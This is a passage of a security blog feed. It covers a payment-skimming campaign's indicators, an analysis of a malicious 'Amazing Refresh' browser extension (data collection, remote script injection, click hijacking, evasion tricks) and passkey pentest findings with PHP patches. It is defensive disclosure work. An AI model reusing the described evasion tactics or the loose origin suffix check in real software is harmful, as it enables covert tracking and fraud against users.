    }</code></pre><p></p><p></p><p>Calling this a &#x201C;CSP bypass&#x201D; is slightly misleading. The more important lesson is that once hostile JavaScript is running in the browser, attackers still have a great deal of flexibility in how they capture and move stolen data. That adaptability is exactly what makes these attacks so dangerous.</p><p></p><h3 id="ongoing-threat">Ongoing threat</h3><p>This campaign is still ongoing. While we continue working to understand the wider impact, our visibility naturally allows us to notify only a subset of potentially affected organisations directly. By publishing these findings, and reporting the infrastructure involved, we hope to help defenders identify and disrupt the campaign more broadly.</p><p></p><h3 id="what-defenders-should-do-now">What defenders should do now</h3><p>If you run an ecommerce site, there are a few immediate checks worth making:</p><ul><li>Review any recent changes to scripts loaded on checkout and payment pages.</li><li>Search logs, telemetry, and browser-side monitoring data for requests involving <code>styleoutsperee.com</code>.</li><li>Investigate unexpected redirects or unusual navigation during payment submission flows.</li><li>Check whether any third-party or injected JavaScript could have accessed payment form fields in the browser.</li></ul><p>Even when the server-side environment looks clean, browser-side visibility can reveal malicious behaviour that would otherwise go unnoticed.</p><p></p><h3 id="indicators-of-compromise">Indicators of Compromise</h3><p>Here are the details:</p><p>Domain: <code>styleoutsperee.com</code> (registered 15th Feb 2026)<br></p><p>If you want visibility into threats like this on your own site, you can start a 30-day free trial at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>. Our <a href="https://report-uri.com/solutions/javascript_integrity_monitoring?ref=scotthelme.ghost.io" rel="noreferrer">JavaScript Integrity Monitoring</a> solution takes less than a minute to deploy and can begin collecting useful browser-side telemetry almost immediately.</p><p></p><p></p>
    <!--kg-card-begin: html-->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-okaidia.min.css" integrity="sha512-mIs9kKbaw6JZFfSuo+MovjU+Ntggfoj8RwAmJbVXQ5mkAX5LlgETQEweFPI18humSPHymTb5iikEOKWF7I8ncQ==" crossorigin="anonymous" referrerpolicy="no-referrer">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js" integrity="sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-json.min.js" integrity="sha512-QXFMVAusM85vUYDaNgcYeU3rzSlc+bTV4JvkfJhjxSHlQEo+ig53BtnGkvFTiNJh8D+wv6uWAQ2vJaVmxe8d3w==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <style>
      pre[class*="language-"] {
          font-size: 0.75em;
      }
    </style>
    <!--kg-card-end: html-->
    ]]></content:encoded></item><item><title><![CDATA[Amazing Refresh — A Malicious Chrome Extension Running Malware in the Browser]]></title><description><![CDATA[<p>We recently uncovered a malicious browser extension affecting visitors to customer websites. It injected JavaScript into pages, hijacked outbound clicks through affiliate infrastructure, and quietly monetised user traffic. We spotted it not because a website was compromised, but because we monitor what code actually executes in the browser.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-3.png" class="kg-image" alt loading="lazy" width="681" height="98" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-3.png 681w"></a></figure><p></p><p>Even though</p>]]></description><link>https://scotthelme.ghost.io/amazing-refresh-a-malicious-chrome-extension-running-malware-in-the-browser/</link><guid isPermaLink="false">69d391eed459c7000106a2f7</guid><category><![CDATA[Report URI]]></category><category><![CDATA[javascript]]></category><category><![CDATA[malware]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Tue, 07 Apr 2026 15:05:57 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/amazing-refresh-extension-analysis.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/amazing-refresh-extension-analysis.png" alt="Amazing Refresh &#x2014; A Malicious Chrome Extension Running Malware in the Browser"><p>We recently uncovered a malicious browser extension affecting visitors to customer websites. It injected JavaScript into pages, hijacked outbound clicks through affiliate infrastructure, and quietly monetised user traffic. We spotted it not because a website was compromised, but because we monitor what code actually executes in the browser.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-3.png" class="kg-image" alt="Amazing Refresh &#x2014; A Malicious Chrome Extension Running Malware in the Browser" loading="lazy" width="681" height="98" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-3.png 681w"></a></figure><p></p><p>Even though the customers&apos; website and supply chain were not compromised, the browser was still executing unauthorised JavaScript in the context of their site. That meant we could still see it. From the website owner&#x2019;s point of view, this is outsourced client-side compromise: your visitors can be manipulated, redirected, and monetised while they are on your site, and you may never know it is happening.</p><p></p><h3 id="how-we-do-it">How we do it</h3><p>We collect and process a huge volume of telemetry data at Report URI, and sometimes that data reveals serious problems. Our main goal is to identify malicious behaviour in the JavaScript running on our customers&#x2019; websites, often introduced by traditional attacks like XSS or, more recently, supply-chain compromise. Sometimes, though, the malicious code does not come from the site or its supply chain at all. It comes from the client.</p><p></p><h3 id="browser-extensions">Browser Extensions</h3><p>The <em>only</em> browser extension that I run is the 1Password extension to integrate with my password manager, that&apos;s it. I do not run, and will not run, any other browser extension simply because they terrify me. I don&apos;t feel like many people fully understand the access to your data that a browser extension has. The ability to see what&apos;s on the page, see what you&apos;re typing, change what you see, interact with the DOM, and so much more. Browser extensions are effectively all-powerful and can do almost whatever they want. That&apos;s awesome when they provide legitimate, useful functionality, but you have a really big problem when the extension wants to do something less noble.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-4.png" class="kg-image" alt="Amazing Refresh &#x2014; A Malicious Chrome Extension Running Malware in the Browser" loading="lazy" width="537" height="170"></figure><p></p><h3 id="amazing-refresh">Amazing Refresh</h3><p>Amazing Refresh presents itself as a simple tab auto-refresher, allowing users to set pages to automatically reload at a defined interval. While this functionality is real and works as advertised, it serves primarily as cover for a sophisticated malware operation running silently in the background.</p><p>Every time a user navigates to any page in any tab, the extension fires a POST request to <code>api.amazingrefresh.com/v1/reload</code>, exfiltrating:</p><ul><li>The current page URL</li><li>The previous page URL (tracking navigation paths across sites)</li><li>Window dimensions and user agent</li><li>Every element ID present on the page</li><li>A unique client identifier tied to the user&apos;s Google Analytics profile</li></ul><p></p><p>Here&apos;s a screenshot of the behaviour firing the request in my local Sandbox.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/Screenshot-2026-04-06-120803.png" class="kg-image" alt="Amazing Refresh &#x2014; A Malicious Chrome Extension Running Malware in the Browser" loading="lazy" width="1609" height="993" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/Screenshot-2026-04-06-120803.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/Screenshot-2026-04-06-120803.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/04/Screenshot-2026-04-06-120803.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/Screenshot-2026-04-06-120803.png 1609w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="script-injection">Script injection</h3><p>The extension injects a <code>&lt;script&gt;</code> tag directly into every page the user visits, running in the MAIN world &#x2014; the same execution context as the page itself, bypassing Chrome&apos;s content script sandbox. The script injected is whatever URL the C&amp;C server has most recently instructed it to use, stored in <code>chrome.storage.local</code>.</p><p>The default fallback script bundled with the extension (<code>js/reload_helper.js</code>) suppresses <code>beforeunload</code> dialog prompts &#x2014; the &quot;are you sure you want to leave?&quot;<br>browser warnings. This is not accidental; it exists to make redirects performed by the injected payload seamless and invisible to the user. It&apos;s these script injections and external communications to GA that we were detecting and alerting on at Report URI.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-2.png" class="kg-image" alt="Amazing Refresh &#x2014; A Malicious Chrome Extension Running Malware in the Browser" loading="lazy" width="1355" height="547" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/image-2.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-2.png 1355w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="the-malicious-payload">The malicious payload</h3><p>The remotely-delivered script that we observed being served from <code>amazingrefresh.com/js/reload_helper.js</code> is a sophisticated affiliate hijacker that steps through the following process at the time of inspection:</p><p></p><ol><li>Geolocates the user via <code>meetlookup.com</code></li><li>Fetches a list of affiliate domains from a CDN (<code>1752680588.rsc.cdn77.org</code>)</li><li>Intercepts all link clicks on the page</li><li>When a clicked link matches a known affiliate domain, redirects it through <code>advertisingshubb.com/pg/</code> &#x2014; an affiliate tracking gateway &#x2014; monetising the click<br>without the knowledge of the user or website owner</li><li>Uses cookies to track which offers have been shown and clicked, with deduplication logic to avoid repeat redirects to the same offer</li><li>Selects and prioritises offers based on the user&apos;s country, custom rates, PPS and PPL values</li></ol><p></p><h3 id="evasion-techniques">Evasion techniques</h3><p>The browser extension and its behaviour are deliberately designed to avoid detection, which makes sense, and is likely how it has managed to get to almost 100,000 active installs. The extension package itself contains only innocuous looking code, so after unpacking and analysing the included code, there are no immediate alarm bells. The malicious JS payload lives on <code>amazingrefresh.com</code> and is served to the client dynamically only when certain conditions are met, further limiting the ability to detect the malicious behaviour. The malicious code:</p><p></p><ul><li>Uses session storage to ensure it only runs once per page load </li><li>Suppresses page-leave prompts to hide redirects from the user</li><li>The payload removes itself from the DOM</li><li>Fingerprints the depth of iframes, possibly to avoid analysis</li><li>Suppresses click events so other analytics don&apos;t see them</li><li>Hides the entire page during a redirect</li></ul><p></p><p>On top of all of that, and I think quite interesting, they&apos;re using Google Analytics to monitor their infected user base, firing an event every 60 minutes to keep track of how many infected devices there are!</p><p></p><h3 id="impact-on-website-owners">Impact on website owners</h3><p>We detected this attack because we&apos;re closely monitoring the JavaScript running on our customers&apos; websites, and as I said at the start, we&apos;re typically looking out for traditional XSS attacks or supply chain compromise. The injection of this malicious JavaScript is happening entirely client-side, in the browser of the visitor, but we still have visibility of what&apos;s happening because of how our product works. For many products out there, this would be impossible to detect or monitor.</p><p>From our customers&apos; perspective, outbound links on their site are being silently hijacked and monetised by a third-party, without their knowledge or consent. Visitors are being redirected through affiliate networks, potentially to different destinations than intended. The C&amp;C architecture also means that the payload can be changed at any time to deliver anything from more aggressive adware, credential harvesting, a Magecart credit card skimmer, or just about anything that you could imagine. Whilst this doesn&apos;t represent a compromise of our customers&apos; website, or their supply chain, this still raises genuine concerns that need to be addressed.</p><p></p><h3 id="reporting-the-malicious-extensions">Reporting the malicious extensions</h3><p>This extension is available for both Chrome and Edge, and we have reported it to both browser vendors including evidence of the malicious behaviour. Given that it appears to have almost 100,000 users across both browsers, I hope they can move quickly to remove the extension from the stores and affected devices. This will benefit not only those visitors to our customers&apos; websites, but the wider ecosystem as a whole as we work to remove this malicious behaviour and protect all involved. </p><p>This capability aligns well with our goal of making the web safer for everyone, not just our customers, and is something that we have been working on for over a decade. My first blog post on detecting and blocking client-side compromise like this was in 2015(!), <a href="https://scotthelme.co.uk/combat-ad-injectors-with-csp/?ref=scotthelme.ghost.io" rel="noreferrer">Combat ad-injectors with CSP</a>, and in 2017 I followed that up with <a href="https://scotthelme.co.uk/combat-ad-injectors-with-csp/?ref=scotthelme.ghost.io" rel="noreferrer">Malware hunting with CSP</a>. Along the way, we have also detected and reported many browser extensions that introduced malicious behaviour, just as we have done here. When we come across more interesting cases like this one, I plan to start writing about them and sharing the details, primarily because I think these cases are genuinely interesting, but also because they help demonstrate some of our lesser-known capabilities at Report URI. </p><p></p><h3 id="indicators-of-compromise">Indicators of Compromise</h3><p>The key indicators are:</p><p>Chrome extension: <a href="https://chromewebstore.google.com/detail/amazing-auto-refresh/lgjmjfjpldlhbaeinfjbgokoakpjglbn?ref=scotthelme.ghost.io" rel="noreferrer">link</a><br>Edge extension: <a href="https://microsoftedge.microsoft.com/addons/detail/auto-refresh/kjkdocnbigcddlnghfiphgfflkooidhc?ref=scotthelme.ghost.io" rel="noreferrer">link</a><br>Extension name: <strong>Amazing Refresh</strong><br>Injected script host: <code>amazingrefresh.com</code> (domain registered 19th Feb 2026)<br>C&amp;C server: <code>api.amazingrefresh.com</code><br>Affiliate gateway: <code>advertisingshubb.com</code> (domain registered 3rd Oct 2025)<br>CDN: <code>1752680588.rsc.cdn77.org</code><br>Geo lookup: <code>meetlookup.com</code><br>Injected script element ID: <code>aar_main_script</code> <br>Google Ads Measurement ID: <code>G-11RPB8CJ47</code></p><p></p><p>If you want advanced threat detection and monitoring capabilities like this on your own site, you can head over to&#xA0;<a href="https://report-uri.com/?utm_source=scotthelme.co.uk">https://report-uri.com</a>&#xA0;and start a 30-day free trial. Our&#xA0;<a href="https://report-uri.com/solutions/javascript_integrity_monitoring?utm_source=scotthelme.co.uk">JavaScript Integrity Monitoring</a>&#xA0;solution shouldn&apos;t take more than 60 seconds to deploy and you can start gathering your first data.</p><p></p>]]></content:encoded></item><item><title><![CDATA[Bringing in the experts; Having our Passkeys implementation Security Tested]]></title><description><![CDATA[<p>We recently announced support for Passkeys on your Report URI account, and everyone should go and enable Passkeys for the amazing security benefits they offer. As a new implementation of an authentication technology, we wanted to be sure that everything was as secure as it should be for our customer&</p>]]></description><link>https://scotthelme.ghost.io/bringing-in-the-experts-having-our-passkeys-implementation-security-tested/</link><guid isPermaLink="false">69c7c509d57e1400017a6513</guid><category><![CDATA[Report URI]]></category><category><![CDATA[Passkeys]]></category><category><![CDATA[Penetration Test]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Thu, 02 Apr 2026 13:06:02 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-test-header.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-test-header.png" alt="Bringing in the experts; Having our Passkeys implementation Security Tested"><p>We recently announced support for Passkeys on your Report URI account, and everyone should go and enable Passkeys for the amazing security benefits they offer. As a new implementation of an authentication technology, we wanted to be sure that everything was as secure as it should be for our customer&apos;s accounts, so we brought in an external party to test our implementation.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-4.png" class="kg-image" alt="Bringing in the experts; Having our Passkeys implementation Security Tested" loading="lazy" width="974" height="141" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/report-uri---wide-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-4.png 974w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="our-annual-penetration-tests">Our annual penetration tests</h3><p>Regular readers will know that Report URI already has an annual penetration test and we now have <a href="https://scotthelme.co.uk/tag/penetration-test/?ref=scotthelme.ghost.io" rel="noreferrer">6 years worth of reports</a> publicly available for anyone to review and see what issues were found, and how we handled them. That annual review is there to make sure that our internal processes designed to keep our product secure are working and that nothing has slipped through. Our next penetration test is due in Nov/Dec 2026 to stick with our annual schedule, and whilst our application is constantly changing and evolving, Passkeys felt like a big enough change that it was worth getting it tested immediately as it touched our critical authentication flow. If you&apos;d like a brief introduction to Passkeys and how they work, you can refer to our launch blog post which has some high level details and diagrams.</p><p></p><figure class="kg-card kg-image-card"><a href="https://pentest.co.uk/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/pentest-limited-logo.png" class="kg-image" alt="Bringing in the experts; Having our Passkeys implementation Security Tested" loading="lazy" width="300" height="101"></a></figure><p></p><h3 id="engaging-with-pentest">Engaging with Pentest</h3><p>Normally, when we engage with our penetration testing company, <a href="https://pentest.co.uk/?ref=scotthelme.ghost.io" rel="noreferrer">Pentest Ltd.</a>, we have effectively no limitations on the scope of the test. This time it was a little different as we only wanted one specific part of our application testing and after discussions, we came up with the following scope:</p><p></p><pre><code>Perform a targeted external security assessment of the Report URI Passkey (WebAuthnbased 2FA) implementation.
    With the specific aim of assessing:
    &#x2022; Security of passkey enrolment and authentication flows
    &#x2022; Interaction between passkeys and existing authentication factors (password and
    TOTP)
    &#x2022; Potential authentication bypass and downgrade scenarios
    &#x2022; Protection of credential management functions (add/remove passkey)
    &#x2022; Security of recovery mechanisms (recovery codes and support-led reset process)
    &#x2022; Session handling and authentication state transitions
    &#x2022; Validation of WebAuthn integration controls (challenge handling, RP/origin
    enforcement, replay protections)
    </code></pre><p></p><p>We wanted to be really sure that our implementation was solid, and having someone external come in to test that felt like a worthwhile approach.</p><p></p><h3 id="the-findings">The findings</h3><p>For those who&apos;d like the TLDR; Pentest found a few problems with our implementation, but nothing that could result in unauthorised access. The worst case scenario in any of the findings was that you could add a Passkey to your account that you then couldn&apos;t remove. That&apos;s a pretty awesome result if you ask me &#x1F60E;</p><p>Alongside the findings from Pentest, we also did our own security testing and found a couple of minor bugs that we addressed too, but nothing that you&apos;d ever see on the outside. We&apos;ll start off by going through the Pentest findings and looking at the solutions that we&apos;ve implemented for them.</p><p></p><h4 id="empty-credential-id">Empty Credential ID</h4><p>Each Passkey generated by an Authenticator is given an ID that the Authenticator and the website can use to identify it. The specification says that this Credential ID, as it is known, should be &quot;A probabilistically-unique byte sequence identifying a public key credential source and its authentication assertions&quot;. Being able to set an empty ID value definitely doesn&apos;t meet that requirement, and adding a Passkey with no ID also made it impossible to then delete or rename that Passkey in your account because the ID is what we use to interact with it. </p><p>The W3C WebAuthn Level 3 spec <a href="https://www.w3.org/TR/webauthn-3/?ref=scotthelme.ghost.io#credential-id" rel="noreferrer">defines</a> credential ID length constraints, and whilst the spec is not final yet, we decided to target the new version rather than Level 2. </p><p></p><pre><code class="language-php">$credentialIdLen = strlen($data-&gt;credentialId);
    if ($credentialIdLen &lt; 16 || $credentialIdLen &gt; 1023) {
        $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_REGISTRATION_CHALLENGE);
        $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_REGISTRATION_CHALLENGE_TIME);
        return &apos;{&quot;ok&quot;: false, &quot;error&quot;: &quot;Invalid credential ID length.&quot;}&apos;;
    }</code></pre><p></p><p>With the length checks in place and further testing completed, this issue is now fully resolved and I&apos;m glad to say it didn&apos;t post any security risk.</p><p></p><h4 id="overlong-credential-id">Overlong Credential ID</h4><p>Whilst this issue is resolved by the fix above, there was one additional thing worth clarifying here that was specific to this finding. Without the upper bound on the Credential ID, you could register a Passkey with a huge ID value. The tester noted that if you were to do this, depending on the size of the ID value, you could get to a point where you couldn&apos;t register any more Passkeys, despite not having registered the maximum allowed amount of Passkeys. This behaviour was caused by our size limit on the amount of data allowed to be stored in a Property on a Table Storage Entity (we use Microsoft Azure Storage). Adding a new Passkey would have taken the Property over the allowed limit so our handling code did the right thing and rejected the change, failing the Passkey registration. The worst case scenario here is that if you registered a Passkey with a huge Credential ID, you may only be able to register a single Passkey on your account. This issue is resolved by the fix detailed above which also introduced an upper size limit and posed no security risk.</p><p></p><h4 id="duplicate-credential-id">Duplicate Credential ID</h4><p>Going back to the first issue, the spec states that a Credential ID should be &quot;A probabilistically-unique byte sequence&quot;, so allowing registration of duplicate IDs would not meet that requirement. There are also two separate concerns here, so we&apos;ll break them apart. </p><p>The first is that the user could register a Passkey on their account with the same Credential ID as another Passkey already registered on their account. The tester noted that this did not result in overwriting Passkeys (as we index on another value) but it did then leave them with two Passkeys registered with the same Credential ID. We already make use of the <code>excludeCredentials</code> feature, where our service provides back the IDs of the user&apos;s existing Credential IDs and the Authenticator can then avoid using duplicates. Of course, the authenticator may not do that, so an additional check is required on the way back in.</p><p></p><pre><code class="language-php">foreach ($passkeys as $passkey) {
        if ($passkey[&apos;id&apos;] === $credentialIdB64) {
    	    $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_REGISTRATION_CHALLENGE);
            $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_REGISTRATION_CHALLENGE_TIME);
            return &apos;{&quot;ok&quot;: false, &quot;error&quot;: &quot;This passkey is already registered.&quot;}&apos;;
        }
    }</code></pre><p></p><p>The second issue is that a user could register a Passkey with the same Credential ID as a Passkey that another user has registered. Because we&apos;re only using Passkeys as a form of 2FA, by the time we get to looking up a Credential ID, we&apos;re only looking at those bound to the correct user. The Credential IDs should also be &quot;probabilistically-unique&quot; so this is unlikely to ever happen by accident. The spec says that we SHOULD prevent this, not that we MUST, but querying over our entire user table and extracting Credential IDs adds a lot of overhead we&apos;d like to avoid. Reading the spec, I also feel that the concerns raised are more defensive techniques for if your application does things a bit wonky rather than being an actual problem, but drop your comments below if I&apos;m missing something. </p><p>As it stands, we haven&apos;t required that a Credential ID be globally unique across the service, but I&apos;m open to input, and happy to say that this issue also posed no security risk.</p><p></p><h4 id="origin-mismatch">Origin Mismatch</h4><p>This one is another bug that doesn&apos;t have an impact, but it still shouldn&apos;t be able to happen. The bug itself resides in the library we&apos;re using for Passkeys and we have up-streamed a fix which is the same as the patch that we&apos;re applying locally. </p><p></p><pre><code class="language-php">--- a/src/WebAuthn.php
    +++ b/src/WebAuthn.php
    @@ -636,9 +636,12 @@
             $host = \parse_url($origin, PHP_URL_HOST);
             $host = \trim($host, &apos;.&apos;);
    
    -        // The RP ID must be equal to the origin&apos;s effective domain, or a registrable
    -        // domain suffix of the origin&apos;s effective domain.
    -        return \preg_match(&apos;/&apos; . \preg_quote($this-&gt;_rpId) . &apos;$/i&apos;, $host) === 1;
    +        // The RP ID must be equal to the origin&apos;s effective domain, or the
    +        // origin&apos;s host must be a subdomain of the RP ID (i.e. preceded by a dot).
    +        if (\strcasecmp($host, $this-&gt;_rpId) === 0) {
    +            return true;
    +        }
    +        return \str_ends_with(\strtolower($host), &apos;.&apos; . \strtolower($this-&gt;_rpId));
         }
    
         /**</code></pre><p></p><p>The bug is that we&apos;re setting our <code>rpId</code> as <code>report-uri.com</code> and the library is checking that the host <em>ends with</em> <code>report-uri.com</code>, which is not a strict enough check. The issue with that is <code>not-report-uri.com</code> and <code>evil-report-uri.com</code> both <em>end with</em> <code>report-uri.com</code>. The check has been made more strict so that we&apos;re now looking first for an exact match to <code>report-uri.com</code>, or, we&apos;re checking that the host ends with <code>.report-uri.com</code>, having introduced the domain boundary <code>.</code> to make the check appropriate.</p><p>I&apos;ve done some pretty lengthy mental gymnastics to try and come up with a scenario where this might be exploitable, but I&apos;m struggling! Maybe if someone registered <code>not-report-uri.com</code> and lured a Report URI user there, managed to get the user to initiate a Passkey registration, and we had no CSRF protection on our registration endpoint, and we had no CORS protection on our registration endpoint, then maybe I can see a way for this to be used in an attack... In reality, I&apos;m happy to say that this has no security risk and it has been fixed as a matter of correctness rather than security.</p><p></p><h4 id="cross-origin-validation-failure">Cross-Origin Validation Failure</h4><p>Given the existing controls we have in place, this is a non-issue, but even without those existing controls, this is more of a spec compliance question than a risk. Imagine <code>evil-cyber-hacker.com</code> embeds <code>report-uri.com</code> in an iframe, the user could interact with that iframe and even register a Passkey on their account. In this scenario, the browser will pass <code>crossOrigin: true</code> in the <code>ClientDataJSON</code> to indicate that the registration was initiated inside a cross-origin iframe. Whilst this might sound like something really bad could happen, the Same-Origin Policy is going to give us all of the protection we need here. The attacker page can&apos;t read in to the iframe, it can&apos;t access any of the Passkey data and it can&apos;t conduct any actions on behalf of the user. It is true that if <code>crossOrigin: true</code> is set and you weren&apos;t expecting that, you should reject the process, so we&apos;ve patched to do just that and also up-streamed the change to the library to see if they&apos;d consider a patch there.</p><p></p><pre><code class="language-php">--- a/src/WebAuthn.php
    +++ b/src/WebAuthn.php
    @@ -358,6 +358,11 @@
                 throw new WebAuthnException(&apos;invalid origin&apos;, WebAuthnException::INVALID_ORIGIN);
             }
    
    +        // Reject cross-origin requests (proposed Level 3 spec &#xA7;7.1 Step 10).
    +        if (\property_exists($clientData, &apos;crossOrigin&apos;) &amp;&amp; $clientData-&gt;crossOrigin === true) {
    +            throw new WebAuthnException(&apos;cross-origin request not allowed&apos;, WebAuthnException::INVALID_ORIGIN);
    +        }
    +
             // Attestation
             $attestationObject = new Attestation\AttestationObject($attestationObject, $this-&gt;_formats);
    
    @@ -476,6 +481,11 @@
                 throw new WebAuthnException(&apos;invalid origin&apos;, WebAuthnException::INVALID_ORIGIN);
             }
    
    +        // Reject cross-origin requests (proposed Level 3 spec &#xA7;7.2 Step 13).
    +        if (\property_exists($clientData, &apos;crossOrigin&apos;) &amp;&amp; $clientData-&gt;crossOrigin === true) {
    +            throw new WebAuthnException(&apos;cross-origin request not allowed&apos;, WebAuthnException::INVALID_ORIGIN);
    +        }
    +
             // 11. Verify that the rpIdHash in authData is the SHA-256 hash of the RP ID expected by the Relying Party.
             if ($authenticatorObj-&gt;getRpIdHash() !== $this-&gt;_rpIdHash) {
                 throw new WebAuthnException(&apos;invalid rpId hash&apos;, WebAuthnException::INVALID_RELYING_PARTY);</code></pre><p></p><h4 id="user-handle-not-validated">User Handle Not Validated</h4><p>The <code>userHandle</code> in Passkeys is the internal user ID that the application can use to uniquely identify the user. This can be used when the user is trying to login without having provided a username or email first, so the application can find the user using this ID. We do have a unique <code>userId</code> value that we use to identify all users on the Report URI platform, and we were setting it in the Passkeys flow, but we didn&apos;t need to rely on it for anything. As our users will complete the email/password authentication step first, any Credential ID we were provided with could already be directly looked up on the correct <code>userId</code>. That said, the spec requires that if the authenticator provides a <code>userHandle</code> then the application must verify it, and we weren&apos;t verifying it because we didn&apos;t use it all. </p><p></p><pre><code class="language-php">$userHandleRaw = $postJson[&apos;userHandle&apos;] ?? &apos;&apos;;
    if ($userHandleRaw !== &apos;&apos;) {
        $userHandle = base64_decode($userHandleRaw, true);
        if ($userHandle === false || $userHandle === &apos;&apos;) {
            $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_LOGIN_CHALLENGE);
            $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_LOGIN_CHALLENGE_TIME);
            return &apos;{&quot;ok&quot;: false, &quot;error&quot;: &quot;User handle mismatch&quot;}&apos;;
        }
        $expectedUserHandle = hash(&apos;sha256&apos;, $this-&gt;userEntity-&gt;getUserId($userEntity), true);
        if (!hash_equals($expectedUserHandle, $userHandle)) {
            $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_LOGIN_CHALLENGE);
            $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_LOGIN_CHALLENGE_TIME);
            return &apos;{&quot;ok&quot;: false, &quot;error&quot;: &quot;User handle mismatch&quot;}&apos;;
        }
    }</code></pre><p></p><p>Now, if the <code>userHandle</code> value is set, we will verify that it is the correct one, and it&apos;s another issue chalked up with no security risk.</p><p></p><h4 id="invalid-attestation-statement">Invalid Attestation Statement</h4><p>In Passkeys, the phrase Attestation is referring to some kind of proof about what Authenticator device is being used. A company might use Attestation to limit staff to only be able to use a certain type or brand of Authenticator, like a YubiKey, for example. We have no such restrictions on what type of Authenticator can be used and permit the use of any Authenticator, including password managers. This means that we use <code>none</code> as our Attestation format and don&apos;t expect the client to send us any Attestation statements. What the spec strictly requires though is that we check that nothing was sent, and reject the process if something was sent. This required another patch to our library which just disregarded the Attestation Statement <code>attStmt</code> altogether, even if it had a value, because we do not use it for anything.</p><p></p><pre><code class="language-php">--- a/src/Attestation/Format/None.php
    +++ b/src/Attestation/Format/None.php
    @@ -24,7 +24,14 @@
         /**
          * @param string $clientDataHash
          */
         public function validateAttestation($clientDataHash) {
    +        // &#xA7;8.7 None Attestation Statement Format:
    +        // &quot;If attStmt is a properly formed attestation statement,
    +        //  verify that attStmt is an empty CBOR map.&quot;
    +        if (\count($this-&gt;_attestationObject[&apos;attStmt&apos;]) &gt; 0) {
    +            throw new WebAuthnException(&apos;invalid none attestation: attStmt must be empty&apos;, WebAuthnException::INVALID_DATA);
    +        }
    +
             return true;
         }
